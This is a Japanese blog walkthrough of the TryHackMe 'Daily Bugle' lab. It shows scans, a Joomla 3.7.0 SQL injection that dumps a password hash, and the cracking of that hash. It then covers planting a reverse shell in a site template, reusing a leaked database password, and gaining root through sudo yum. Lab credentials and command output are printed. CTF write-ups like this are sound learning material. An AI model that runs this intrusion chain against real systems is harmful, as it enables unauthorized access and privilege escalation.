TryHackMeのDaily Bugleって問題を解いた
最近ちょっとTryHackMeにハマってる
何?
仕事とは一切関係ないけど、たまに暇なときにポチポチTryHackMe(セキュリティ初心者向けの勉強サイト)埋めてる
基本クイズ形式で誘導に乗るだけなので楽でいい(CTF挫折した人とかいいかも?)
そんな中、ほとんどヒントがない問題でルートを取るみたいなことができて嬉しかったので記録
何も知らん人が見てもなんとなくノリがつかめて面白いって思えるかもしれない
チュートリアル的な位置づけのサイトなので問題は超簡単な部類だと思う
問題
tryhackme.com
なんかサイトがあるので、ルート権限を取れって問題
解法
(中断したりしたのでtargetのurlが変わってたりするけど気にしない)
とりあえず与えられたipアドレスを見に行く
特に何もなさそうなので、定番の手順を踏む
└─$ sudo nmap -sS -sV 10.10.58.244 [sudo] password for gasin: Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-15 18:26 JST Nmap scan report for 10.10.58.244 Host is up (0.38s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40) 3306/tcp open mysql MariaDB (unauthorized) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.09 seconds
└─$ gobuster dir -u http://10.10.58.244 -w /usr/share/wordlists/dirb/big.txt -t 100 -q -x txt,php,html /.htpasswd (Status: 403) [Size: 211] /.htpasswd.txt (Status: 403) [Size: 215] /.htpasswd.php (Status: 403) [Size: 215] /.htpasswd.html (Status: 403) [Size: 216] /.htaccess (Status: 403) [Size: 211] /.htaccess.php (Status: 403) [Size: 215] /.htaccess.html (Status: 403) [Size: 216] /.htaccess.txt (Status: 403) [Size: 215] /LICENSE.txt (Status: 200) [Size: 18092] /README.txt (Status: 200) [Size: 4494] /administrator (Status: 301) [Size: 242] [--> http://10.10.58.244/administrator/] /bin (Status: 301) [Size: 232] [--> http://10.10.58.244/bin/] /cache (Status: 301) [Size: 234] [--> http://10.10.58.244/cache/] /cgi-bin/ (Status: 403) [Size: 210] /cgi-bin/.html (Status: 403) [Size: 215] /cli (Status: 301) [Size: 232] [--> http://10.10.58.244/cli/] /components (Status: 301) [Size: 239] [--> http://10.10.58.244/components/] /configuration.php (Status: 200) [Size: 0] /htaccess.txt (Status: 200) [Size: 3005] /images (Status: 301) [Size: 235] [--> http://10.10.58.244/images/] /includes (Status: 301) [Size: 237] [--> http://10.10.58.244/includes/] /index.php (Status: 200) [Size: 9278] /language (Status: 301) [Size: 237] [--> http://10.10.58.244/language/] /layouts (Status: 301) [Size: 236] [--> http://10.10.58.244/layouts/] /libraries (Status: 301) [Size: 238] [--> http://10.10.58.244/libraries/] /media (Status: 301) [Size: 234] [--> http://10.10.58.244/media/] /modules (Status: 301) [Size: 236] [--> http://10.10.58.244/modules/] /plugins (Status: 301) [Size: 236] [--> http://10.10.58.244/plugins/] /robots.txt (Status: 200) [Size: 836] /robots.txt (Status: 200) [Size: 836] /templates (Status: 301) [Size: 238] [--> http://10.10.58.244/templates/] /tmp (Status: 301) [Size: 232] [--> http://10.10.58.244/tmp/]
/administratorを見に行く
joomlaが何かは知らないけど、とりあえずバージョン情報を得たい。
適当にファイル見てもなかなか書いてなかったのでググる
hackertarget.com
サイトの言うとおりに/administrator/manifests/files/joomla.xmlを開いたら書いてあった
バージョンが分かったのでsearchsploitで脆弱性検索してみる
└─$ searchsploit joomla 3.7.0 --------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------- --------------------------------- Joomla! 3.7.0 - 'com_fields' SQL Injection | php/webapps/42033.txt Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting | php/webapps/43488.txt --------------------------------------------------------------- --------------------------------- Shellcodes: No Results
42033.txtを読むと、blind SQL injectionが可能ということっぽいが、どうやればいいのかよくわからない
よくわからないのでググってたらexploitが公開されてた
github.com
とりあえず動かしてみる
└─$ python joomblah.py http://10.10.58.217 .---. .-'''-. .-'''-. | | ' _ \ ' _ \ .---. '---' / /` '. \ / /` '. \ __ __ ___ /| | | . .---.. | \ ' . | \ ' | |/ `.' `. || | | .'| | || ' | '| ' | '| .-. .-. '|| | | < | | |\ \ / / \ \ / / | | | | | ||| __ | | __ | | | | `. ` ..' / `. ` ..' / | | | | | |||/'__ '. | | .:--.'. | | .'''-. | | '-...-'` '-...-'` | | | | | ||:/` '. '| |/ | \ | | |/.'''. \ | | | | | | | ||| | || |`" __ | | | / | | | | |__| |__| |__|||\ / '| | .'.''| | | | | | __.' ' |/'..' / '---'/ / | |_| | | | | ' ' `'-'` \ \._,\ '/| '. | '. |____.' `--' `" '---' '---' [-] Fetching CSRF token [-] Testing SQLi - Found table: fb9j5_users - Extracting users from fb9j5_users [$] Found user [u'811', u'Super User', u'jonah', u'jonah@tryhackme.com', u'$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', u'', u''] - Extracting sessions from fb9j5_session
なんかユーザー名とパスワードのハッシュっぽいものが手に入った
とりあえずjohn the ripperに投げる(こういうのいつまで待てばいいのかわからん)
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status spiderman123 (?) 1g 0:00:04:40 DONE (2022-05-15 22:16) 0.003563g/s 167.0p/s 167.0c/s 167.0C/s thelma1..setsuna Use the "--show" option to display all of the cracked passwords reliably Session completed
ユーザ名とパスワードが分かったのでログインする
写真をuploadできるので、webshell埋め込むのかなと思って拡張子変えてみたり、シグネチャ変えてみたり、MIME変えてみたり、色々したけどうまくいかなかった
何もわからんと言いながら適当にサイトポチポチしてたらExtensionのTemplatesにあるファイルを自由に上書きできることに気付く
Beez3っていうテンプレートのindex.phpをリバースシェルに置き換えてncで待ち構えて/templates/beez3にアクセスしてみたらシェルが取れた
└─$ nc -lnvp 1234 listening on [any] 1234 ... connect to [10.4.36.219] from (UNKNOWN) [10.10.120.83] 45394 Linux dailybugle 3.10.0-1062.el7.x86_64 #1 SMP Wed Aug 7 18:08:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 09:12:55 up 1:46, 0 users, load average: 0.00, 0.01, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=48(apache) gid=48(apache) groups=48(apache) sh: no job control in this shell sh-4.2$
けど、権限が無くてuser.txtすら見れない
手元をhttpでホスティングすればサーバからwgetでファイルを持ってこれるのでlinpeasを引っ張ってくる
github.com
とりあえずlinpeasを走らせて、よくわからん情報達(なんか1000行以上ある)に目を通してるとなんかパスワードが見える
╔══════════╣ Searching passwords in config PHP files public $password = 'nv5uz9r3ZEDzVjNu'; $this->password = (empty($this->options['db_pass'])) ? '' : $this->options['db_pass']; $this->password = null; 'password' => $this->password,
そのパスワードを使うと他のユーザに乗り移れる
bash-4.2$ ls /home ls /home jjameson bash-4.2$ su jjameson su jjameson Password: nv5uz9r3ZEDzVjNu [jjameson@dailybugle /]$
後は権限昇格してrootユーザになればいい
典型コマンドをたたく
[jjameson@dailybugle /]$ sudo -l sudo -l Matching Defaults entries for jjameson on dailybugle: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin User jjameson may run the following commands on dailybugle: (ALL) NOPASSWD: /usr/bin/yum
yumがsudoで叩けるらしいので典型サイトを見に行く
gtfobins.github.io
kali linuxがdebian系だからrpm-buildが入らないらしい
superuser.com
alianとかいうの入れたらなんか知らんけどfpmコマンドが動いた
gtfobinsに書いてある手順に従ってexploitをサーバに送ってサーバで実行する
[jjameson@dailybugle tmp]$ ./exploit.sh ./exploit.sh Loaded plugins: y No plugin match for: y sh-4.2# whoami whoami root
勝利!!!!!
感想
何すればいいかわからんフェーズに入るとしらみつぶしみたいなのが始まってしんどいけど、スイスイ進んだ時は楽しかった
やってること1個1個はかなり初歩だけど、ステップ踏むとなんかそれっぽくなるのは嬉しい
今後もぼちぼちやっていき